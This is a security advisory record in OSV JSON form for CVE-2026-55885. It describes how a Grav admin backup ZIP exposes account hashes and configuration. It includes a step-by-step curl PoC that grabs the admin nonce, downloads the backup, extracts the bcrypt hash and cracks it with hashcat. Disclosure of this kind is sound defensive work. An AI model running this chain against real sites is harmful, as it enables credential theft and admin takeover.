CVE-2026-55885: Grav Admin Backup Zip File Exposes Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2f86-9cp8-6hcf",
  "modified" : "2026-06-18T14:31:13Z",
  "published" : "2026-06-18T14:31:13Z",
  "aliases" : [ "CVE-2026-55885" ],
  "summary" : "Grav: Admin Backup Zip File Exposes Account Credentials and Configuration Secrets",
  "details" : "### Summary\nAn authenticated administrator with backup permissions can download a ZIP archive containing the full Grav installation root, including `user/accounts/admin.yaml` with the admin's bcrypt password hash and email, plus `user/config/` with all site configuration. The download endpoint requires only the session-static `admin-nonce` in the URL, no additional form-level CSRF token, and reveals the server's full filesystem path in a Base64-encoded query parameter. Combined with the absence of login rate limiting on `http://{Grav_URL}/admin`, an attacker who obtains a single admin-nonce value (via Referrer leakage, browser history, or XSS) can exfiltrate password hashes for offline cracking and achieve account takeover.\n\n### Details\nThe vulnerability chain spans three components in the deployed Grav source tree at `/var/www/html/grav/`:\n\n**1. Backup archive scope — `Backups::backup()`**  \n`/var/www/html/grav/system/src/Grav/Common/Backup/Backups.php:201-272`\n\nThe `backup()` static method creates a ZIP of the directory specified by the backup profile's `root` property. The default profile (ID `0`, named `default_site_backup`) backs up the entire Grav root directory. On line 225, when the root is not a stream URI, it falls back to the full installation path:\n\n```php\n// Backups.php:225\n$backup_root = rtrim(GRAV_ROOT . $backup->root, DS) ?: DS;\n```\n\nSince the default profile ships with no `root` override, `$backup->root` is empty, making `$backup_root` equal to `GRAV_ROOT` — i.e. `/var/www/html/grav/`. The archive therefore captures the entire installation including:\n\n- `/var/www/html/grav/user/accounts/` — admin password hash, email, full name, granular permissions\n- `/var/www/html/grav/user/config/` — system settings, potentially email SMTP credentials\n\nThe `exclude_files` and `exclude_paths` options on lines 232-235 are empty by default and offer no protection against including account files.\n\n**2. Backup download handler — `AdminController::taskBackup()`**  \n`/var/www/html/grav/user/plugins/admin/classes/plugin/AdminController.php:517-573`\n\nAfter creating the backup ZIP, the controller Base64-encodes the full filesystem path and embeds it directly in a download URL displayed to the admin:\n\n```php\n// AdminController.php:558-560\n$download = urlencode(base64_encode($backup));\n$url = rtrim(...) . '/task' . $param_sep . 'backup/download' . $param_sep\n       . $download . '/admin-nonce' . $param_sep . Utils::getNonce('admin-form');\n```\n\nThe download handler (lines 532-541) decodes the path, locates the file via the `backup://` stream, and serves it with `Utils::download($file, true)`. It performs only two checks: the filename must end in `.zip` and the file must actually exist. It does **not** verify the file belongs to the requesting user, does **not** enforce a form-level nonce, and does **not** tie the download to a specific session.\n\n**3. Nonce validation — permissive**  \nThe backup route is protected only by the `admin-nonce` parameter appended to the URL path. This nonce is session-static and shared across every admin page. No `form-nonce` is required — unlike page saves or configuration changes which demand both `admin-nonce` and `form-nonce`. This makes the backup download exploitable via a single crafted GET request from any attacker who knows the nonce value.\n\n### PoC\n**Prerequisites:** Admin session with valid `admin-nonce`.\n\n**Step 1 — Authenticate and extract the session-static nonces:**\n```bash\n# Get login page, extract login-nonce, authenticate\nNONCE=$(curl -s -c /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP 'name=\"login-nonce\" value=\"\\K[^\"]+')\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=Passw0rd123!\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n\n# Extract the admin-nonce (same value on every admin page)\nADMIN_NONCE=$(curl -s -b /tmp/jar \"http://127.0.0.1/grav/admin\" \\\n  | grep -oP 'admin-nonce[:=]\\K[a-f0-9]+' | head -1)\necho \"Admin nonce: $ADMIN_NONCE\"   # e.g. 68d6b108bc1398028365fb35ea760baf\n```\n\n**Step 2 — Trigger a backup (single GET, no form-nonce needed):**\n```bash\ncurl -s -b /tmp/jar \\\n  \"http://127.0.0.1/grav/admin/tools/backups.json/task:backup/admin-nonce:${ADMIN_NONCE}\"\n```\n\nResponse:\n```json\n{\n  \"status\": \"success\",\n  \"message\": \"Your backup is ready for download. <a href=\\\"/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:68d6b108...\\\" class=\\\"button\\\">Download backup</a>\"\n}\n```\n\n**Step 3 — Extract the Base64 download token and fetch the ZIP:**\n```bash\n# The download path is base64(\"/var/www/html/grav/backup/default_site_backup--20260616122449.zip\")\n# This reveals the full server filesystem path.\ncurl -s -b /tmp/jar -o /tmp/backup.zip \\\n  \"http://127.0.0.1/grav/admin/task:backup/download:L3Zhci93d3cvaHRtbC9ncmF2L2JhY2t1cC9kZWZhdWx0X3NpdGVfYmFja3VwLS0yMDI2MDYxNjEyMjQ0OS56aXA=/admin-nonce:${ADMIN_NONCE}\"\n```\n\n**Step 4 — Extract the password hash from the ZIP:**\n```bash\nunzip -p /tmp/backup.zip \"user/accounts/admin.yaml\"\n```\n\nOutput:\n```yaml\nstate: enabled\nemail: admin@grav.com\nfullname: 'Grav Admin'\ntitle: Administrator\naccess:\n  admin:\n    login: true\n    super: true\n  site:\n    login: true\nhashed_password: $2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m\n```\n\n**Step 5 — Crack the bcrypt hash offline:**\n```bash\necho '$2y$12$8StgOltcNbU5JD.D9Y5LmerDs.XBwLy5vSO3/9ReDYHjbv/aZTZ3m' > hash.txt\nhashcat -m 3200 -a 0 hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**Step 6 — Log in with the cracked password (no rate limit):**\n```bash\ncurl -s -b /tmp/jar -c /tmp/jar -X POST \"http://127.0.0.1/grav/admin\" \\\n  --data-urlencode \"data[username]=admin\" \\\n  --data-urlencode \"data[password]=<cracked_password>\" \\\n  --data-urlencode \"task=login\" \\\n  --data-urlencode \"login-nonce=${NONCE}\"\n```\n\n### Impact\n- **Type:** Authenticated sensitive data exposure enabling offline credential theft\n- **Attack surface:** Any actor who can obtain admin-nonce (session fixation, reflected XSS, Referrer header leakage, browser history inspection, or proxy log access)\n- **Exposed data:** Admin username, email, full name, granular permission structure, bcrypt password hash (`$2y$12$...`), and full site configuration from `user/config/`\n- **Downstream risk:** Offline hashcat cracking bypasses all server-side brute-force protections. With no login rate limiting (Finding 1), a cracked hash grants immediate unrestricted admin access including file modification and arbitrary code execution potential through Twig/themes\n- **Server path leakage:** The Base64-encoded download token reveals the absolute filesystem path `/var/www/html/grav/backup/` — information critical for LFI, file-write, and path traversal attacks",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "getgrav/grav"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.7.53"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/getgrav/grav/security/advisories/GHSA-2f86-9cp8-6hcf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/getgrav/grav"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-312", "CWE-522" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-18T14:31:13Z",
    "nvd_published_at" : null
  }
}